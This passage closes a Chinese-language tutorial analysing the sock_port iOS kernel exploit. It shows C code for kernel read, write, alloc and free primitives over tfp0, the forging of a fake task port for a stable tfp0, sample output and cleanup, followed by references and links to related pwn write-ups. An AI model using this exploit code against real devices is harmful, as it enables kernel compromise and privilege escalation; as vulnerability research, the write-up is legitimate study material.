uint64_t addr = kalloc(8);printf("[*] allocated: 0x%llx\n", addr);
wk64(addr, 0x4141414141414141);uint64_t readb = rk64(addr);printf("[*] read back: 0x%llx\n", readb);
kfree(addr, 8);

這裡要補充一點:這裡申請的都是內核的空間,內核空間範圍如下

#define VM_MIN_KERNEL_ADDRESS((vm_address_t) 0xffffffe000000000ULL)#define VM_MAX_KERNEL_ADDRESS((vm_address_t) 0xfffffff3ffffffffULL)

這幾個k*()函數是基於tfpzero實現的函數

內存申請函數:kalloc()

uint64_t kalloc(vm_size_t size) {    mach_vm_address_t address = 0;    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);    return address;}

讀函數:rk32()和rk64()

uint32_t rk32(uint64_t where) {    uint32_t out;    kread(where, &out, sizeof(uint32_t));    return out;}
uint64_t rk64(uint64_t where) { uint64_t out; kread(where, &out, sizeof(uint64_t)); return out;}
size_t kread(uint64_t where, void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); offset += sz; } return offset;}

寫函數:wk32()和wk64()

void wk32(uint64_t where, uint32_t what) {    uint32_t _what = what;    kwrite(where, &_what, sizeof(uint32_t));}
void wk64(uint64_t where, uint64_t what) { uint64_t _what = what; kwrite(where, &_what, sizeof(uint64_t));}
size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk); offset += chunk; } return offset;}

內存釋放函數:kfree()

void kfree(mach_vm_address_t address, vm_size_t size) {    mach_vm_deallocate(tfpzero, address, size);}

9. 穩定的TFP0

new_tfp0是我們最終要使用的TFP0,函數find_port()也是利用上面的tfpzero進行讀取

mach_port_t new_tfp0 = new_port();uint64_t new_addr = find_port(new_tfp0, self_port_addr);

最開始分析代碼的時候我們說過所有的Port都以ipc_entry_t的形式存在在is_table裡,可以通過用戶態Port來計算索引取出這個Port的內核態地址

uint64_t find_port(mach_port_name_t port, uint64_t task_self) {    uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));    uint32_t port_index = port >> 8;        const int sizeof_ipc_entry_t = 0x18;    uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));    return port_addr;}

重新申請一片內核內存用於存儲Fake Task,通過函數kwrite()將fake_task寫到新申請的內核內存空間,然後讓Fake Task Port的ip_kobject指向這片新的內存,最後通過刷新new_addr指向的new_tfp0內存來獲取一個最終的TFP0

uint64_t faketask = kalloc(0x600);kwrite(faketask, fake_task, 0x600);fakeport->ip_kobject = faketask;kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));

重複一遍上面的寫入讀取,測試這個new_tfp0是否可用

init_kernel_memory(new_tfp0);printf("[+] tfp0: 0x%x\n", new_tfp0);
addr = kalloc(8);printf("[*] allocated: 0x%llx\n", addr);
wk64(addr, 0x4141414141414141);readb = rk64(addr);printf("[*] read back: 0x%llx\n", readb);
kfree(addr, 8);

效果蠻好

[+] tfp0: 0x6203[*] allocated: 0xfffffff008e1f000[*] read back: 0x4141414141414141

10. 清理內存環境

從is_table中刪除東拼西湊的Port,然後刪除fds對應的內核緩衝區,它早就被釋放了,還有一些管道句柄,IOSurface都關掉

uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = our_port >> 8;const int sizeof_ipc_entry_t = 0x18;wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0);
if (fds[0] > 0) close(fds[0]);if (fds[1] > 0) close(fds[1]);if (port_fds[0] > 0) close(port_fds[0]);if (port_fds[1] > 0) close(port_fds[1]);
free((void *)fakeport);deinit_IOSurface();return new_tfp0;

11. 總結

這篇文章只能說是講了個大概,很多細節都沒有深究,比如堆分配機制,哪些是統一實現的,哪些是單獨實現的,結構體偏移計算,偽造Port時各種結構體成員以什麼數據進行賦值...,這些問題我也一知半解的,所以就留著後面漏洞分析的多了,逐漸補齊

References

http://blog.asm.im/2019/11/17/Sock-Port-漏洞解析(一)UAF-與-Heap-Spraying/

http://blog.asm.im/2019/11/24/Sock-Port-漏洞解析(二)通過-Mach-OOL-Message-洩露-Port-Address/

http://blog.asm.im/2019/12/01/Sock-Port-漏洞解析(三)IOSurface-Heap-Spraying/

http://blog.asm.im/2019/12/08/Sock-Port-漏洞解析(四)The-tfp0/

https://cloud.tencent.com/developer/article/1475737

https://raw.githubusercontent.com/jakeajames/sock_port/master/sock_port.pdf

https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core

http://4ch12dy.site/2017/05/01/Pegasus%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%8F%8APoC%E5%88%86%E6%9E%90/Pegasus%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%8F%8APoC%E5%88%86%E6%9E%90/

https://www.dazhuanlan.com/2019/12/14/5df3cd57766c5/

http://open.appscan.io/article-1216.html

https://gsec.hitb.org/materials/sg2019/D2%20-%20Recreating%20an%20iOS%200day%20Jailbreak%20Out%20of%20Apple%E2%80%99s%20Security%20Updates%20-%20Stefan%20Esser.pdf

本文適合動手操作,如有感興趣的同學,建議訪問wnagzihxa1n.vip,會有更好的閱讀體驗

相關焦點

  • 小議Win32子系統中」對象歸屬權」導致的uaf漏洞
    在研究 win32k 模塊的 uaf 漏洞時,最重要的一點就是,了解目標對象整個生命周期的狀態轉換過程,尤其是哪些行為會觸發 ref 的增加,哪些行為會導致
  • Linux Kernel Pwn_2_Kernel UAF
    /bin/sh# SPDX-License-Identifier: GPL-2.0-only# # extract-vmlinux - Extract uncompressed vmlinux from a kernel image## Inspired from extract-ikconfig# (c) 2009,2010 Dick Streefland <dick@streefland.net
  • 0RAYS-祥雲杯writeup
    b'1'*(0x30-0x11))edit(1,b'a'*0x23+p64(one)+b'1'*(0x30-0x2c))ia()garden通過給的malloc(0x30)和uaf構造堆塊重疊,寫one_gadgetd到freehookfrom pwn import
  • Linux From Scratch (LFS) 10.0 穩定版發布
    Linux From Scratch (LFS) 10.0 和 Beyond Linux From Scratch (BLFS)
  • Linux From Scratch 7.0 發布
    軟體包升級: Linux kernel 3.0.4, GCC 4.6.1 and glibc 2.14.1.下載地址:http://www.linuxfromscratch.org/lfs/downloads/7.0/
  • Linux From Scratch(LFS)9.0 發布
    Linux From Scratch(LFS)9.0 發布了。
  • copy_{to,from}_user()的思考
    為什麼需要copy_{to,from}_user(),它究竟在背後為我們做了什麼?copy_{to,from}_user()和memcpy()的區別是什麼,直接使用memcpy()可以嗎?memcpy()替代copy_{to,from}_user()是不是一定會有問題?一下子找回了當年困惑的自己。我所提出的每個問題,曾經我也思考過。
  • copy_{to, from}_user()的思考
    為什麼需要copy_{to,from}_user(),它究竟在背後為我們做了什麼?copy_{to,from}_user()和memcpy()的區別是什麼,直接使用memcpy()可以嗎?memcpy()替代copy_{to,from}_user()是不是一定會有問題?一下子找回了當年困惑的自己。我所提出的每個問題,曾經我也思考過。
  • Python | raise...from... 是個什麼操作?
    問題現象 Python 的 raise 和 raise from 之間的區別是什麼?try:    print(1 / 0)except Exception as exc:    raise RuntimeError("Something bad happened")輸出:Traceback (most recent call last):  File "test4.py", line 2
  • Numpy 修煉之道 (12)—— genfromtxt函數
    names="a, b, c", usecols=("a", "c"))array([(1.0, 3.0), (4.0, 6.0)],      dtype=[('a', '<f8'), ('c', '<f8')])>>> np.genfromtxt(BytesIO(data),...
  • Python中yiled from到底是個啥?
    這也正是yield from要解決的。引入雖然yield from主要設計用來向子生成器委派操作任務,但yield from可以向任意的迭代器委派操作;對於簡單的迭代器,yield from iterable本質上等於for item in iterable: yield item的縮寫版,如下所示:>>> def g(x):...
  • C#系 常用的LinQ查詢表達式之from
    Items是要查詢的集合的名字,必須是可枚舉類型的它和foreach比較相似,但foreach語句在遇到代碼時就執行其主體,二from子句什麼也不執行。它創建可以執行的後臺代碼對象,只有在程序的控制流遇到訪問查詢變量的語句時才會執行Linq的查詢表達式必須以 from子句開頭,並且以select或group子句結束。
  • from which 與from where的用法區別
    (用做from/ to/ in 的賓語) from which與from where的區別 有朋友問到from which與from where 有何區別下面是我們的一位特約作者給出的部分回答,摘錄如下,供大家參考。